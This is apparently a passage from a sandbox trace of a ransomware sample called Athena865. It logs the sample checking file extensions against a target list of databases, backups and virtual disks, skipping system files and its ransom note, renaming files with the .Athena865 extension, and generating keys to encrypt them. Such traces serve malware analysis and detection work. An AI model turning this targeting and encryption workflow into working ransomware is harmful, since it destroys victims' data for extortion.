lpString2="fm5") returned -1 [0038.515] lstrlenW (lpString="fmp") returned 3 [0038.515] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0038.515] lstrlenW (lpString="fmp12") returned 5 [0038.515] lstrcmpiW (lpString1="g.exe", lpString2="fmp12") returned 1 [0038.515] lstrlenW (lpString="fmpsl") returned 5 [0038.515] lstrcmpiW (lpString1="g.exe", lpString2="fmpsl") returned 1 [0038.515] lstrlenW (lpString="fol") returned 3 [0038.515] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0038.515] lstrlenW (lpString="fp3") returned 3 [0038.515] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0038.515] lstrlenW (lpString="fp4") returned 3 [0038.515] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0038.515] lstrlenW (lpString="fp5") returned 3 [0038.515] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0038.515] lstrlenW (lpString="fp7") returned 3 [0038.515] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0038.515] lstrlenW (lpString="fpt") returned 3 [0038.515] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0038.515] lstrlenW (lpString="frm") returned 3 [0038.515] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0038.515] lstrlenW (lpString="gdb") returned 3 [0038.515] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0038.515] lstrlenW (lpString="gdb") returned 3 [0038.515] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0038.515] lstrlenW (lpString="grdb") returned 4 [0038.515] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0038.515] lstrlenW (lpString="gwi") returned 3 [0038.515] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0038.516] lstrlenW (lpString="hdb") returned 3 [0038.516] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0038.516] lstrlenW (lpString="his") returned 3 [0038.516] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0038.516] lstrlenW (lpString="ib") returned 2 [0038.516] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0038.516] lstrlenW (lpString="idb") returned 3 [0038.516] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0038.516] lstrlenW (lpString="ihx") returned 3 [0038.516] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0038.516] lstrlenW (lpString="itdb") returned 4 [0038.516] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0038.516] lstrlenW (lpString="itw") returned 3 [0038.516] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0038.516] lstrlenW (lpString="jet") returned 3 [0038.516] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0038.516] lstrlenW (lpString="jtx") returned 3 [0038.516] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0038.516] lstrlenW (lpString="kdb") returned 3 [0038.516] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0038.516] lstrlenW (lpString="kexi") returned 4 [0038.516] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0038.516] lstrlenW (lpString="kexic") returned 5 [0038.516] lstrcmpiW (lpString1="g.exe", lpString2="kexic") returned -1 [0038.516] lstrlenW (lpString="kexis") returned 5 [0038.516] lstrcmpiW (lpString1="g.exe", lpString2="kexis") returned -1 [0038.516] lstrlenW (lpString="lgc") returned 3 [0038.516] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0038.516] lstrlenW (lpString="lwx") returned 3 [0038.516] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0038.516] lstrlenW (lpString="maf") returned 3 [0038.516] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0038.516] lstrlenW (lpString="maq") returned 3 [0038.516] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0038.516] lstrlenW (lpString="mar") returned 3 [0038.516] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0038.516] lstrlenW (lpString="marshal") returned 7 [0038.516] lstrcmpiW (lpString1="ing.exe", lpString2="marshal") returned -1 [0038.516] lstrlenW (lpString="mas") returned 3 [0038.517] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0038.517] lstrlenW (lpString="mav") returned 3 [0038.517] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0038.517] lstrlenW (lpString="maw") returned 3 [0038.517] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0038.517] lstrlenW (lpString="mdbhtml") returned 7 [0038.517] lstrcmpiW (lpString1="ing.exe", lpString2="mdbhtml") returned -1 [0038.517] lstrlenW (lpString="mdn") returned 3 [0038.517] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0038.517] lstrlenW (lpString="mdt") returned 3 [0038.517] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0038.517] lstrlenW (lpString="mfd") returned 3 [0038.517] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0038.517] lstrlenW (lpString="mpd") returned 3 [0038.517] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0038.517] lstrlenW (lpString="mrg") returned 3 [0038.517] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0038.517] lstrlenW (lpString="mud") returned 3 [0038.517] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0038.517] lstrlenW (lpString="mwb") returned 3 [0038.517] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0038.517] lstrlenW (lpString="myd") returned 3 [0038.517] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0038.517] lstrlenW (lpString="ndf") returned 3 [0038.517] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0038.517] lstrlenW (lpString="nnt") returned 3 [0038.517] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0038.517] lstrlenW (lpString="nrmlib") returned 6 [0038.517] lstrcmpiW (lpString1="ng.exe", lpString2="nrmlib") returned -1 [0038.517] lstrlenW (lpString="ns2") returned 3 [0038.517] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0038.517] lstrlenW (lpString="ns3") returned 3 [0038.517] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0038.517] lstrlenW (lpString="ns4") returned 3 [0038.517] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0038.517] lstrlenW (lpString="nsf") returned 3 [0038.517] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0038.517] lstrlenW (lpString="nv") returned 2 [0038.517] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0038.517] lstrlenW (lpString="nv2") returned 3 [0038.518] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0038.518] lstrlenW (lpString="nwdb") returned 4 [0038.518] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0038.518] lstrlenW (lpString="nyf") returned 3 [0038.518] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0038.518] lstrlenW (lpString="odb") returned 3 [0038.518] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0038.518] lstrlenW (lpString="odb") returned 3 [0038.518] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0038.518] lstrlenW (lpString="oqy") returned 3 [0038.518] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0038.518] lstrlenW (lpString="ora") returned 3 [0038.518] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0038.518] lstrlenW (lpString="orx") returned 3 [0038.518] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0038.518] lstrlenW (lpString="owc") returned 3 [0038.518] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0038.518] lstrlenW (lpString="p96") returned 3 [0038.518] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0038.518] lstrlenW (lpString="p97") returned 3 [0038.518] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0038.518] lstrlenW (lpString="pan") returned 3 [0038.518] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0038.518] lstrlenW (lpString="pdb") returned 3 [0038.518] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0038.518] lstrlenW (lpString="pdm") returned 3 [0038.518] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0038.518] lstrlenW (lpString="pnz") returned 3 [0038.518] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0038.518] lstrlenW (lpString="qry") returned 3 [0038.518] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0038.518] lstrlenW (lpString="qvd") returned 3 [0038.518] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0038.518] lstrlenW (lpString="rbf") returned 3 [0038.518] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0038.518] lstrlenW (lpString="rctd") returned 4 [0038.518] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0038.519] lstrlenW (lpString="rod") returned 3 [0038.519] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0038.519] lstrlenW (lpString="rodx") returned 4 [0038.519] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0038.519] lstrlenW (lpString="rpd") returned 3 [0038.519] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0038.519] lstrlenW (lpString="rsd") returned 3 [0038.519] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0038.519] lstrlenW (lpString="sas7bdat") returned 8 [0038.519] lstrcmpiW (lpString1="ving.exe", lpString2="sas7bdat") returned 1 [0038.519] lstrlenW (lpString="sbf") returned 3 [0038.519] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0038.519] lstrlenW (lpString="scx") returned 3 [0038.519] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0038.519] lstrlenW (lpString="sdb") returned 3 [0038.519] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0038.519] lstrlenW (lpString="sdc") returned 3 [0038.519] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0038.519] lstrlenW (lpString="sdf") returned 3 [0038.519] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0038.519] lstrlenW (lpString="sis") returned 3 [0038.519] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0038.519] lstrlenW (lpString="spq") returned 3 [0038.519] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0038.519] lstrlenW (lpString="te") returned 2 [0038.519] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0038.519] lstrlenW (lpString="teacher") returned 7 [0038.519] lstrcmpiW (lpString1="ing.exe", lpString2="teacher") returned -1 [0038.519] lstrlenW (lpString="tmd") returned 3 [0038.519] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0038.519] lstrlenW (lpString="tps") returned 3 [0038.519] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0038.519] lstrlenW (lpString="trc") returned 3 [0038.519] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0038.519] lstrlenW (lpString="trc") returned 3 [0038.519] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0038.519] lstrlenW (lpString="trm") returned 3 [0038.520] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0038.520] lstrlenW (lpString="udb") returned 3 [0038.520] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0038.520] lstrlenW (lpString="udl") returned 3 [0038.520] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0038.520] lstrlenW (lpString="usr") returned 3 [0038.520] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0038.520] lstrlenW (lpString="v12") returned 3 [0038.520] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0038.520] lstrlenW (lpString="vis") returned 3 [0038.520] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0038.520] lstrlenW (lpString="vpd") returned 3 [0038.520] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0038.520] lstrlenW (lpString="vvv") returned 3 [0038.520] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0038.520] lstrlenW (lpString="wdb") returned 3 [0038.520] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0038.520] lstrlenW (lpString="wmdb") returned 4 [0038.520] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0038.520] lstrlenW (lpString="wrk") returned 3 [0038.520] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0038.520] lstrlenW (lpString="xdb") returned 3 [0038.520] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0038.520] lstrlenW (lpString="xld") returned 3 [0038.520] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0038.520] lstrlenW (lpString="xmlff") returned 5 [0038.520] lstrcmpiW (lpString1="g.exe", lpString2="xmlff") returned -1 [0038.520] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Defender\\leaving.exe.Athena865") returned 55 [0038.520] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Defender\\leaving.exe" (normalized: "c:\\program files\\windows defender\\leaving.exe"), lpNewFileName="C:\\Program Files\\Windows Defender\\leaving.exe.Athena865" (normalized: "c:\\program files\\windows defender\\leaving.exe.athena865"), dwFlags=0x1) returned 1 [0038.521] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\leaving.exe.Athena865" (normalized: "c:\\program files\\windows defender\\leaving.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xffffffff [0038.521] GetLastError () returned 0x20 [0038.521] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S CreateFile error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Windows Defender\\leaving.exe CreateFile error 32\r\n") returned 75 [0038.521] lstrlenA (lpString="[ERROR] C:\\Program Files\\Windows Defender\\leaving.exe CreateFile error 32\r\n") returned 75 [0038.521] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0038.521] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x165c [0038.521] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x4b, lpOverlapped=0x0) returned 1 [0038.522] CloseHandle (hObject=0x154) returned 1 [0038.522] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Defender\\leaving.exe.Athena865" (normalized: "c:\\program files\\windows defender\\leaving.exe.athena865"), lpNewFileName="C:\\Program Files\\Windows Defender\\leaving.exe" (normalized: "c:\\program files\\windows defender\\leaving.exe"), dwFlags=0x1) returned 1 [0038.523] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0038.523] CloseHandle (hObject=0x0) returned 0 [0038.523] CloseHandle (hObject=0xffffffff) returned 0 [0038.523] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150a97a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x150a97a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33b368d0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1 [0038.523] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.523] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.523] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2=".") returned 1 [0038.523] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="..") returned 1 [0038.523] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="windows") returned -1 [0038.523] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="bootmgr") returned 1 [0038.523] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="temp") returned -1 [0038.523] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="pagefile.sys") returned -1 [0038.523] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="boot") returned 1 [0038.523] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="ids.txt") returned 1 [0038.523] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="ntuser.dat") returned -1 [0038.523] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="perflogs") returned -1 [0038.523] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="MSBuild") returned -1 [0038.523] lstrlenW (lpString="MpAsDesc.dll") returned 12 [0038.523] lstrcpyW (in: lpString1=0x241e88c, lpString2="MpAsDesc.dll" | out: lpString1="MpAsDesc.dll") returned="MpAsDesc.dll" [0038.523] lstrlenW (lpString="MpAsDesc.dll") returned 12 [0038.523] lstrlenW (lpString="Athena865") returned 9 [0038.523] lstrcmpiW (lpString1="sDesc.dll", lpString2="Athena865") returned 1 [0038.523] lstrlenW (lpString=".dll") returned 4 [0038.523] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2=".dll") returned 1 [0038.524] lstrlenW (lpString=".lnk") returned 4 [0038.524] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2=".lnk") returned 1 [0038.524] lstrlenW (lpString=".ini") returned 4 [0038.524] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2=".ini") returned 1 [0038.524] lstrlenW (lpString=".sys") returned 4 [0038.524] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2=".sys") returned 1 [0038.524] lstrlenW (lpString="MpAsDesc.dll") returned 12 [0038.524] lstrlenW (lpString="bak") returned 3 [0038.524] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0038.524] lstrlenW (lpString="ba_") returned 3 [0038.524] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0038.524] lstrlenW (lpString="dbb") returned 3 [0038.524] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0038.524] lstrlenW (lpString="vmdk") returned 4 [0038.524] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0038.524] lstrlenW (lpString="rar") returned 3 [0038.524] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0038.524] lstrlenW (lpString="zip") returned 3 [0038.524] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0038.524] lstrlenW (lpString="tgz") returned 3 [0038.524] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0038.524] lstrlenW (lpString="vbox") returned 4 [0038.524] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0038.524] lstrlenW (lpString="vdi") returned 3 [0038.524] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0038.524] lstrlenW (lpString="vhd") returned 3 [0038.524] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0038.524] lstrlenW (lpString="vhdx") returned 4 [0038.524] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0038.524] lstrlenW (lpString="avhd") returned 4 [0038.524] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0038.524] lstrlenW (lpString="db") returned 2 [0038.524] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0038.524] lstrlenW (lpString="db2") returned 3 [0038.524] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0038.524] lstrlenW (lpString="db3") returned 3 [0038.524] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0038.524] lstrlenW (lpString="dbf") returned 3 [0038.524] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0038.525] lstrlenW (lpString="mdf") returned 3 [0038.525] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0038.525] lstrlenW (lpString="mdb") returned 3 [0038.525] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0038.525] lstrlenW (lpString="sql") returned 3 [0038.525] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0038.525] lstrlenW (lpString="sqlite") returned 6 [0038.525] lstrcmpiW (lpString1="sc.dll", lpString2="sqlite") returned -1 [0038.525] lstrlenW (lpString="sqlite3") returned 7 [0038.525] lstrcmpiW (lpString1="esc.dll", lpString2="sqlite3") returned -1 [0038.525] lstrlenW (lpString="sqlitedb") returned 8 [0038.525] lstrcmpiW (lpString1="Desc.dll", lpString2="sqlitedb") returned -1 [0038.525] lstrlenW (lpString="xml") returned 3 [0038.525] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0038.525] lstrlenW (lpString="$er") returned 3 [0038.525] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0038.525] lstrlenW (lpString="4dd") returned 3 [0038.525] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0038.525] lstrlenW (lpString="4dl") returned 3 [0038.525] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0038.525] lstrlenW (lpString="^^^") returned 3 [0038.525] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0038.525] lstrlenW (lpString="abs") returned 3 [0038.525] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0038.525] lstrlenW (lpString="abx") returned 3 [0038.525] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0038.525] lstrlenW (lpString="accdb") returned 5 [0038.525] lstrcmpiW (lpString1="c.dll", lpString2="accdb") returned 1 [0038.525] lstrlenW (lpString="accdc") returned 5 [0038.525] lstrcmpiW (lpString1="c.dll", lpString2="accdc") returned 1 [0038.525] lstrlenW (lpString="accde") returned 5 [0038.525] lstrcmpiW (lpString1="c.dll", lpString2="accde") returned 1 [0038.525] lstrlenW (lpString="accdr") returned 5 [0038.525] lstrcmpiW (lpString1="c.dll", lpString2="accdr") returned 1 [0038.525] lstrlenW (lpString="accdt") returned 5 [0038.525] lstrcmpiW (lpString1="c.dll", lpString2="accdt") returned 1 [0038.525] lstrlenW (lpString="accdw") returned 5 [0038.525] lstrcmpiW (lpString1="c.dll", lpString2="accdw") returned 1 [0038.525] lstrlenW (lpString="accft") returned 5 [0038.525] lstrcmpiW (lpString1="c.dll", lpString2="accft") returned 1 [0038.526] lstrlenW (lpString="adb") returned 3 [0038.526] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0038.526] lstrlenW (lpString="adb") returned 3 [0038.526] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0038.526] lstrlenW (lpString="ade") returned 3 [0038.526] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0038.526] lstrlenW (lpString="adf") returned 3 [0038.526] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0038.526] lstrlenW (lpString="adn") returned 3 [0038.526] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0038.526] lstrlenW (lpString="adp") returned 3 [0038.526] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0038.526] lstrlenW (lpString="alf") returned 3 [0038.526] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0038.526] lstrlenW (lpString="ask") returned 3 [0038.526] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0038.526] lstrlenW (lpString="btr") returned 3 [0038.526] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0038.526] lstrlenW (lpString="cat") returned 3 [0038.526] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0038.526] lstrlenW (lpString="cdb") returned 3 [0038.526] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0038.526] lstrlenW (lpString="ckp") returned 3 [0038.526] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0038.526] lstrlenW (lpString="cma") returned 3 [0038.526] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0038.526] lstrlenW (lpString="cpd") returned 3 [0038.526] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0038.526] lstrlenW (lpString="dacpac") returned 6 [0038.526] lstrcmpiW (lpString1="sc.dll", lpString2="dacpac") returned 1 [0038.526] lstrlenW (lpString="dad") returned 3 [0038.526] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0038.526] lstrlenW (lpString="dadiagrams") returned 10 [0038.526] lstrcmpiW (lpString1="AsDesc.dll", lpString2="dadiagrams") returned -1 [0038.526] lstrlenW (lpString="daschema") returned 8 [0038.526] lstrcmpiW (lpString1="Desc.dll", lpString2="daschema") returned 1 [0038.526] lstrlenW (lpString="db-journal") returned 10 [0038.526] lstrcmpiW (lpString1="AsDesc.dll", lpString2="db-journal") returned -1 [0038.526] lstrlenW (lpString="db-shm") returned 6 [0038.527] lstrcmpiW (lpString1="sc.dll", lpString2="db-shm") returned 1 [0038.527] lstrlenW (lpString="db-wal") returned 6 [0038.527] lstrcmpiW (lpString1="sc.dll", lpString2="db-wal") returned 1 [0038.527] lstrlenW (lpString="dbc") returned 3 [0038.527] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0038.527] lstrlenW (lpString="dbs") returned 3 [0038.527] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0038.527] lstrlenW (lpString="dbt") returned 3 [0038.527] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0038.527] lstrlenW (lpString="dbv") returned 3 [0038.527] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0038.527] lstrlenW (lpString="dbx") returned 3 [0038.527] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0038.527] lstrlenW (lpString="dcb") returned 3 [0038.527] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0038.527] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0038.527] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Defender\\MpAsDesc.dll.Athena865") returned 56 [0038.527] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Defender\\MpAsDesc.dll" (normalized: "c:\\program files\\windows defender\\mpasdesc.dll"), lpNewFileName="C:\\Program Files\\Windows Defender\\MpAsDesc.dll.Athena865" (normalized: "c:\\program files\\windows defender\\mpasdesc.dll.athena865"), dwFlags=0x1) returned 1 [0038.528] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\MpAsDesc.dll.Athena865" (normalized: "c:\\program files\\windows defender\\mpasdesc.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0038.529] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10752) returned 1 [0038.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0038.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.529] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.530] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.530] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.530] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2d00, lpName=0x0) returned 0x17c [0038.533] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2d00) returned 0x100000 [0038.534] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.534] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.534] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0038.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0038.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.535] RtlAllocateHeap 